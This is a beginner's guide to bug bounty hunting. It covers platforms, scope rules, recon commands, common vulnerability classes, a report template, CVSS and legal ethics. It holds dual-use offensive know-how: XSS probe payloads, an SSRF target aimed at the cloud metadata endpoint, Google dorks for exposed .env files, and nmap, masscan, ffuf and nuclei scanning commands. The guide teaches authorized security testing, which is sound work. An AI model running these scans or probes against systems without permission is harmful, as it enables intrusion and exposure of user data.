Bug Bounty Hunting for Beginners 2026: Find Your First Vulnerability

TL;DR

Bug bounty hunting is the practice of finding security vulnerabilities in real-world applications and reporting them to companies in exchange for monetary rewards. In 2026, over $300 million has been paid out across major platforms. To get started: pick a public program with a broad scope, do passive and active reconnaissance, focus on IDOR, XSS, and information disclosure vulnerabilities, use Burp Suite as your primary proxy, and write clear, reproducible reports. Patience and consistent learning beat raw talent — most beginners find their first bug within 30 to 90 days of focused effort.

What Is Bug Bounty Hunting?

Bug bounty hunting is a form of ethical hacking where security researchers — commonly called "hunters" or "hackers" — probe applications for vulnerabilities with explicit permission from the target organization. When a valid vulnerability is found, the researcher submits a report and receives a reward, a "bounty," that scales with the severity of the finding.

The concept is not new: Netscape ran one of the first bounty programs in 1995. But the modern era began with HackerOne and Bugcrowd launching coordinated disclosure platforms around 2012. Since then, the industry has grown into a mature, multi-hundred-million-dollar ecosystem.

Industry Stats (2025–2026)

• Over $300 million in total bounties has been paid out across major platforms as of early 2026.
• HackerOne alone has paid more than $230 million to researchers since inception.
• The average bounty for a critical vulnerability across major programs sits between $3,000 and $15,000, with some programs (Google, Apple, Microsoft) paying $100,000 or more for exceptional findings.
• More than 1 million security researchers are registered across the top platforms.
• Programs run by the U.S. Department of Defense have received tens of thousands of valid reports through public bug bounty initiatives.

Bug bounty is now a legitimate career path. Many full-time hunters earn six-figure incomes annually, and top earners surpass $1 million per year. Even as a side activity, a single critical vulnerability can pay more than a month of a developer's salary.

The Major Platforms

HackerOne

HackerOne is the largest bug bounty platform by reported volume. It hosts programs from companies like Uber, Twitter/X, GitHub, the U.S. Department of Defense, and hundreds of others. Programs are either public (anyone can join) or private (invite-only based on reputation). The reputation system — called signal and impact — rewards quality over quantity. HackerOne is the best starting point for most beginners due to its breadth of public programs and extensive documentation.

Bugcrowd

Bugcrowd is HackerOne's primary competitor and takes a similar approach. It hosts programs from companies like Atlassian, Netgear, and OpenAI. Bugcrowd's Priority rating system (P1 through P5) maps cleanly to severity levels, making it easy to understand expected payouts. Bugcrowd also offers a Vulnerability Rating Taxonomy (VRT) that is an excellent learning resource even if you don't primarily use the platform.

Intigriti

Intigriti is a European-focused platform that has grown rapidly since 2020. It hosts programs from companies operating under GDPR, which often means stricter data-handling requirements but sometimes less competitive hunting ground than the largest U.S.-facing programs. The community skews toward European researchers, and the platform is known for responsive triage teams.

Synack

Synack operates a vetted, private network called the Synack Red Team (SRT). Membership requires passing a technical assessment. The trade-off is that Synack programs are generally less competitive (fewer hunters per program), scopes tend to be broader, and payouts are more consistent. It is not the right starting point for day-one beginners, but it is a realistic 12- to 18-month goal.

How to Choose

For beginners, start with HackerOne or Bugcrowd public programs. Filter for programs that have:

1. A broad scope — look for wildcards like *.example.com rather than a single endpoint.
2. A generous out-of-scope list — fewer restrictions means more surface area to test.
3. A response time metric — programs that respond within a few days are less frustrating for new hunters.
4. Safe harbor language — the program explicitly states it will not pursue legal action for good-faith research.

Avoid programs that only cover a single mobile app or a narrowly scoped API endpoint when you are just starting out. More surface area equals more opportunity to find something.

Reading Scope and Rules of Engagement

This is the single most important step before touching a target. Scope violations can get your account banned, your findings invalidated, or — in extreme cases — expose you to legal liability. Read the program policy every time, even for programs you have tested before, because scope changes frequently.

What to Look For

In-scope assets: These are the domains, IP ranges, mobile apps, or APIs you are authorized to test. Anything not listed is out of scope by default.

Out-of-scope assets: Explicitly listed targets you must not touch. Common examples include payment processors, third-party services, employee-only portals, and corporate infrastructure unrelated to the product.

Vulnerability types: Some programs exclude specific vulnerability classes (e.g., "self-XSS is not accepted," "rate limiting issues are out of scope"). Know these before you waste time on a finding that will be closed as informational.

Testing restrictions: Many programs prohibit automated scanning at high request rates, social engineering attacks, physical attacks, and denial-of-service testing. Violating these can result in immediate disqualification.

Disclosure policy: Most programs require you to keep findings confidential until they are fixed and the program grants permission to disclose. Violating this is a serious ethical breach.

When in doubt, ask. Most programs have a way to contact the security team with clarifying questions before you test.

The Recon Methodology

Reconnaissance — or recon — is the process of mapping a target's attack surface before you start probing for vulnerabilities. The more thoroughly you understand what exists, the more likely you are to find something others have missed. Recon divides into two phases: passive and active.

Passive Reconnaissance

Passive recon involves gathering information without directly interacting with the target's infrastructure in a way that generates logs or alerts.

Certificate Transparency Logs: Services like crt.sh and censys.io index all publicly issued TLS certificates. Searching for %.example.com on crt.sh reveals subdomains that have had certificates issued — a treasure map of historically active assets.

DNS brute-forcing and aggregation with subfinder and amass:

subfinder (by ProjectDiscovery) queries passive DNS sources, certificate logs, and threat intelligence feeds to enumerate subdomains without sending a single packet to the target.

subfinder -d example.com -o subdomains.txt

amass from OWASP is more aggressive in its passive source coverage and can also perform active DNS resolution. Run it in passive mode first:

amass enum -passive -d example.com -o amass-passive.txt

Google Dorking: Use search operators to find exposed files, login panels, and configuration data indexed by Google. Examples:

• site:example.com filetype:env — exposed environment files
• site:example.com inurl:admin — admin panels
• site:example.com ext:log — log files

Shodan and Censys: Search for IP addresses associated with the target's ASN to find exposed services, open ports, and misconfigured infrastructure.

Wayback Machine: waybackurls (a CLI tool) pulls all URLs for a domain that have been archived by the Internet Archive. This is invaluable for finding endpoints that have been removed from the live site but may still be active on production servers.

echo "example.com" | waybackurls > wayback-urls.txt

Active Reconnaissance

Active recon involves sending traffic directly to the target. Always ensure you are within scope before running any active tools.

DNS resolution with dnsx: After collecting a list of subdomains, resolve them to find which ones are actually live.

cat subdomains.txt | dnsx -a -resp -o live-subdomains.txt

Port scanning with nmap: For in-scope IP ranges or individual hosts, run a targeted nmap scan to identify open ports and services.

nmap -sV -sC -p- --open -T4 -oA nmap-scan target.example.com

For large IP ranges, masscan is orders of magnitude faster than nmap for initial discovery, though it produces less detailed output:

masscan -p1-65535 192.168.1.0/24 --rate=10000 -oJ masscan-output.json

Web discovery with ffuf, feroxbuster, and gobuster: After identifying live web servers, enumerate directories, files, and endpoints using wordlist-based fuzzing.

ffuf (Fuzz Faster U Fool) is the most flexible of the three and supports multiple injection points:

ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -o ffuf-output.json

feroxbuster adds recursive scanning by default, which is useful for deeply nested directory structures:

feroxbuster -u https://example.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --depth 3

gobuster is straightforward and reliable for DNS subdomain brute-forcing and directory busting:

gobuster dir -u https://example.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,js,json

Use the SecLists wordlist collection (available on GitHub at danielmiessler/SecLists) as your primary wordlist source — it covers directories, files, subdomains, parameters, and more.

Top Vulnerability Classes for Beginners

The following vulnerability types are well-documented, commonly found in real-world applications, and do not require advanced exploitation skills to identify and prove impact.

IDOR — Insecure Direct Object Reference

IDOR occurs when an application uses a user-controllable identifier — an integer ID, UUID, filename, or similar — to access an object without verifying that the requesting user is authorized to access that specific object.

Example: A URL like GET /api/v1/invoices/1042 returns an invoice. If changing 1042 to 1041 returns another user's invoice, that is an IDOR. The identifier is directly referencing a database object without an authorization check.

How to find it: Look for numeric IDs, GUIDs, or usernames in URLs, request bodies, and headers. Create two accounts, perform an action with one, capture the resulting object identifier, then try to access that identifier from the second account's session.

Impact: IDOR findings frequently escalate to high or critical severity when they expose financial records, PII, or allow modification of other users' data.

XSS — Cross-Site Scripting

XSS occurs when user-supplied input is rendered in a browser without proper encoding or sanitization, allowing an attacker to inject and execute JavaScript in the context of another user's session.

• Reflected XSS: The payload is included in the HTTP request and immediately reflected in the response. Common in search bars and error messages.
• Stored XSS: The payload is persisted to the server and executed when any user loads the affected page. Higher severity because it affects multiple victims without requiring them to click a crafted link.
• DOM-based XSS: The payload is processed by client-side JavaScript without a server round-trip.

How to find it: Use Burp Suite to intercept requests and insert a probe like <script>alert(1)</script> or "><img src=x onerror=alert(1)> into every input field, URL parameter, and header. Watch for unencoded reflection in the response.

SSRF — Server-Side Request Forgery

SSRF tricks a server into making HTTP requests to an attacker-controlled destination. In cloud environments (AWS, GCP, Azure), SSRF commonly leads to metadata endpoint access, which can expose IAM credentials and lead to full cloud account compromise.

How to find it: Look for parameters that accept URLs, hostnames, or IP addresses — things like url=, webhook=, redirect=, fetch=, endpoint=. Send those parameters pointing to an out-of-band interaction tool like Burp Collaborator or interactsh to detect blind SSRF where the response is not returned to you directly.

Impact: SSRF to cloud metadata (e.g., http://169.254.169.254/latest/meta-data/) is a critical finding on virtually every program.

Broken Authentication

Authentication flaws include weak password reset flows, insecure session token generation, missing account lockout, JWT algorithm confusion, and OAuth misconfigurations.

Common examples: - Password reset tokens that are predictable or long-lived. - "Remember me" cookies that are not invalidated on logout. - JWT tokens that can be verified with the none algorithm. - OAuth flows that do not validate the state parameter, enabling CSRF.

How to find it: Map all authentication-related endpoints during recon. Test password reset flows for token predictability (examine length, character set, and whether the same token is reused). Decode JWTs with jwt.io and inspect the algorithm and claims.

Information Disclosure

Information disclosure findings range from low (stack traces in error pages) to critical (private keys or credentials exposed in JavaScript files, .git directories, or backup files).

How to find it: Run ffuf or gobuster looking for backup extensions (.bak, .old, .zip, .tar.gz), common sensitive files (.env, web.config, docker-compose.yml), and development artifacts. Check JavaScript files for hardcoded API keys using tools like truffleHog or gitleaks. Use waybackurls to find historical endpoints that may have leaked data.

Essential Tools

Burp Suite is the cornerstone tool. Even the free Community edition gives you an intercepting proxy, the Repeater for manual request manipulation, the Intruder for light fuzzing, and the Decoder for encoding/decoding payloads. The Pro version adds an active scanner and faster Intruder, but it is not required to find your first vulnerability.

nuclei deserves special mention: it runs community-maintained templates against a target and flags known misconfigurations, exposed panels, and CVEs automatically. It is not a replacement for manual testing, but it catches low-hanging fruit quickly.

# Run nuclei against a list of live hosts
nuclei -l live-subdomains.txt -t ~/nuclei-templates/ -severity medium,high,critical -o nuclei-results.txt

Setting Up Your Lab

Never test techniques on systems you do not have explicit permission to test. Set up a local lab for learning and tool practice.

Recommended Setup

Operating System: Kali Linux is the standard choice. It ships with most security tools pre-installed. Run it in a VirtualBox or VMware virtual machine on your host OS, or use it as a dedicated machine. Download the official Kali image from kali.org/get-kali.

Virtualization: VirtualBox is free and works on Windows, macOS, and Linux. Allocate at least 4 GB RAM and 50 GB disk to your Kali VM.

Vulnerable Applications to Practice On:

• DVWA (Damn Vulnerable Web Application): A PHP/MySQL application deliberately built with common vulnerabilities. Run it with Docker: docker run --rm -it -p 80:80 vulnerables/web-dvwa. Set the security level to "Low" initially, then increase it as your skills develop.

• OWASP Juice Shop: A modern Node.js application with 100+ challenges covering OWASP Top 10 and beyond. It tracks your progress and has built-in hints. Run it with: docker run --rm -p 3000:3000 bkimminich/juice-shop.

• HackTheBox Starting Point and TryHackMe: Cloud-hosted lab environments with guided machines. No local setup required for these — they are ideal for learning recon and exploitation in a legal, sandboxed context.

Practice every tool and technique in your lab before pointing it at a real program. Understand what each tool does, what traffic it generates, and what its output means.

Writing a Great Bug Report

A well-written report is as important as finding the vulnerability. Triagers review dozens of reports per day. A clear, reproducible report gets triaged faster, is less likely to be marked as a duplicate, and often results in a higher bounty because the impact is communicated effectively.

Bug Report Template

Title: [Vulnerability Type] in [Feature/Endpoint] allows [Impact]

Example: IDOR in /api/v1/invoices/{id} allows unauthenticated access to any user's invoice data

---

**Severity**: High (CVSS 8.1)

**Affected Asset**: https://api.example.com/api/v1/invoices/{id}

**Vulnerability Type**: Insecure Direct Object Reference (IDOR)

---

### Summary

A missing authorization check on the invoice retrieval endpoint allows any authenticated
user to access invoices belonging to other accounts by changing the numeric ID in the URL.

---

### Steps to Reproduce

1. Create two accounts: [email protected] and [email protected].
2. Log in as [email protected] and create an invoice. Note the invoice ID (e.g., 1042).
3. Log out and log in as [email protected].
4. Send the following request using the attacker's session token:

   GET /api/v1/invoices/1042 HTTP/1.1
   Host: api.example.com
   Authorization: Bearer <attacker_token>

5. The response returns the victim's full invoice data including name, address, and
   payment details.

---

### Proof of Concept

[Include a screenshot or video recording showing the exact response with sensitive data.
Redact real PII if it belongs to real users — use test accounts whenever possible.]

---

### Impact

An attacker can enumerate all invoice IDs and exfiltrate financial records and PII for
every user on the platform. This constitutes a breach of user data and may violate GDPR
and CCPA depending on jurisdiction.

---

### Recommended Fix

Verify on the server side that the authenticated user's account ID matches the owner of
the requested invoice before returning data. Do not rely on the client to enforce access
control.

Key Principles

• Always use test accounts. Never access real user data, even if you stumble across it. Report the finding immediately and do not access more data than necessary to prove the vulnerability exists.
• Show, do not tell. Screenshots and HTTP request/response pairs are mandatory. Video PoC is a bonus for complex multi-step vulnerabilities.
• State the impact clearly. Triagers are not always security experts. Explain in plain language what an attacker could do if they exploited this.
• Be concise. Remove irrelevant information. Every sentence should serve the report.

CVSS Scoring Basics and Severity Classification

The Common Vulnerability Scoring System (CVSS) v3.1 is the standard used by most programs to determine bounty amounts. Understanding it helps you write more accurate reports and set realistic expectations for payouts.

CVSS scores range from 0.0 to 10.0 and map to severity labels:

The score is calculated from three metric groups:

Base Metrics (most important for bug bounty): - Attack Vector (AV): Network (N) > Adjacent (A) > Local (L) > Physical (P). Network-exploitable bugs score higher. - Attack Complexity (AC): Low (L) > High (H). Bugs requiring no special conditions score higher. - Privileges Required (PR): None (N) > Low (L) > High (H). Bugs exploitable without authentication score higher. - User Interaction (UI): None (N) > Required (R). Bugs requiring no victim action score higher. - Scope (S): Changed (C) > Unchanged (U). Bugs that affect resources beyond the vulnerable component score higher. - Confidentiality / Integrity / Availability Impact (C/I/A): High (H) > Low (L) > None (N).

Use the NVD CVSS Calculator to score your findings before submitting. Programs may adjust your score, but starting with an accurate assessment shows professionalism and builds credibility.

Common Mistakes Beginners Make

1. Skipping the scope entirely. Hunting out-of-scope assets wastes time and risks account suspension. Read the rules every single session.

2. Reporting without understanding the impact. Submitting "I found an open redirect" without explaining how it can be chained to steal OAuth tokens or bypass phishing filters results in low severity ratings or closure as informational.

3. Chasing the same targets as everyone else. Google, Facebook, and Apple programs are extremely competitive. Beginners often have more success on programs for smaller companies with broader scopes and less competition.

4. Giving up after duplicates. A duplicate means someone else found it too, which confirms you are looking in the right places. Adjust your methodology and target something adjacent.

5. Using automated scanners without understanding the output. Running nuclei or Burp's scanner and submitting every finding without verification floods triagers with false positives and damages your reputation. Verify every finding manually.

6. Not documenting findings during testing. Keep detailed notes of every endpoint you test, every parameter you fuzz, and every response you observe. You will forget things, and a good report requires precise reproduction steps.

7. Burning out from inconsistency. Bug bounty requires sustained effort. Two hours of focused daily practice beats sporadic all-night sessions. Set a schedule and stick to it.

Learning Resources

Free

• PortSwigger Web Security Academy (portswigger.net/web-security): The best free resource for learning web application security. It covers every major vulnerability class with interactive labs built into the browser. Complete every lab in the SQL Injection, XSS, SSRF, and Authentication modules before hunting on real programs.

• TryHackMe (tryhackme.com): Guided, beginner-friendly rooms that teach enumeration, exploitation, and privilege escalation. The "Web Fundamentals" and "Jr Penetration Tester" learning paths are directly applicable to bug bounty.

• HackTheBox Starting Point (hackthebox.com): Free introductory machines with writeup hints. More realistic than TryHackMe but less hand-holding.

• OWASP Testing Guide (owasp.org/www-project-web-security-testing-guide): The authoritative reference for web application security testing methodology.

• NahamSec on YouTube and Twitch: Live bug bounty hunting streams with real-time recon and methodology explanations. Among the most practical free content available.

Paid (Worth the Investment)

• TCM Security courses (tcm-sec.com): Affordable, high-quality practical courses. "Practical Bug Bounty" and "Practical Ethical Hacking" are both highly recommended.
• HackTheBox Pro Labs: Realistic enterprise network simulations. Offshore and Dante are good starting labs.

Legal and Ethical Considerations

Bug bounty operates within a legally and ethically complex framework. Misunderstanding it can have serious consequences.

Always hunt within an authorized program. Testing any system without explicit authorization is illegal in most jurisdictions under laws like the U.S. Computer Fraud and Abuse Act (CFAA), the UK Computer Misuse Act, and equivalent legislation worldwide. A bug bounty program's policy is your authorization document. Keep it.

Safe harbor clauses matter. Look for language like: "We will not pursue legal action against researchers who act in good faith and follow these guidelines." If a program does not have safe harbor language, consider whether it is worth the legal ambiguity.

Do not exceed necessary access. If you prove an IDOR with a single data point, stop. Do not download a database to demonstrate impact. One data point is sufficient to prove the vulnerability and is all that is legally and ethically defensible.

Responsible disclosure timelines. If a program does not respond within their stated SLA (typically 90 days), you may escalate to the platform. Do not publicly disclose before the vendor has had a reasonable opportunity to fix the issue.

Never test for availability. Denial-of-service testing is almost universally out of scope and can cause real harm to real users. If you accidentally trigger a DoS condition, stop immediately and report it.

Respect user privacy. If you find data belonging to real users — even if accidentally — do not read, copy, or store it beyond what is necessary to document the vulnerability class. Notify the program immediately.

Ethical hacking means treating the organization and its users with the same respect you would want extended to yourself.

FAQ

Q: Do I need a degree or certification to start bug bounty hunting? No. Bug bounty is entirely merit-based. Your findings speak for themselves. That said, CompTIA Security+ or eJPT (eLearnSecurity Junior Penetration Tester) can help build foundational knowledge, and OSCP is recognized as a strong signal of practical skill.

Q: How long will it take to find my first bug? It varies widely. Hunters who study PortSwigger Web Academy and practice on DVWA and Juice Shop consistently before targeting live programs tend to find their first valid finding within 30 to 90 days. Some take longer. Persistence matters more than speed.

Q: Can I hunt from Windows? Yes. Burp Suite, ffuf, and most other tools run natively on Windows. However, many tutorials and community resources assume a Linux environment. Running Kali Linux in WSL2 or a VM gives you access to the full toolset and matches how most of the community works.

Q: What if a company says it does not have a bug bounty program? Look for a security.txt file at /.well-known/security.txt or a security disclosure email in their privacy policy. Many companies accept vulnerability reports even without a formal bounty program. Never test a company that has not provided any disclosure mechanism — the legal protection disappears without it.

Q: My report was marked as N/A or Informational. What should I do? Review the program's accepted vulnerability types and read the triager's explanation carefully. Sometimes N/A means the program already knows about it; sometimes it means the impact was not demonstrated sufficiently. Ask politely for clarification if the reason is not clear. Do not argue aggressively — relationships with triagers matter.

Q: Is it okay to use AI tools to help hunt? AI assistants can help explain vulnerability concepts, review your understanding of code, and draft report sections. They cannot replace hands-on testing or judgment. Use them as a learning accelerator, not a replacement for skill development.

Sources

1. HackerOne. Hacker-Powered Security Report 2024. hackerone.com/resources/hacker-powered-security-report
2. Bugcrowd. Inside the Platform: 2024 Bugcrowd Report. bugcrowd.com/resources/reports
3. OWASP Foundation. OWASP Top Ten 2021. owasp.org/www-project-top-ten
4. OWASP Foundation. Web Security Testing Guide v4.2. owasp.org/www-project-web-security-testing-guide
5. NIST. Common Vulnerability Scoring System v3.1 Specification. nvd.nist.gov/vuln-metrics/cvss
6. PortSwigger. Web Security Academy. portswigger.net/web-security
7. ProjectDiscovery. nuclei, subfinder, httpx, dnsx documentation. docs.projectdiscovery.io
8. SecLists. Daniel Miessler, Jason Haddix, g0tmi1k. github.com/danielmiessler/SecLists
9. U.S. Department of Justice. A Framework for a Vulnerability Disclosure Program for Online Systems. justice.gov/criminal-ccips
10. Bugcrowd. Vulnerability Rating Taxonomy. bugcrowd.com/vulnerability-rating-taxonomy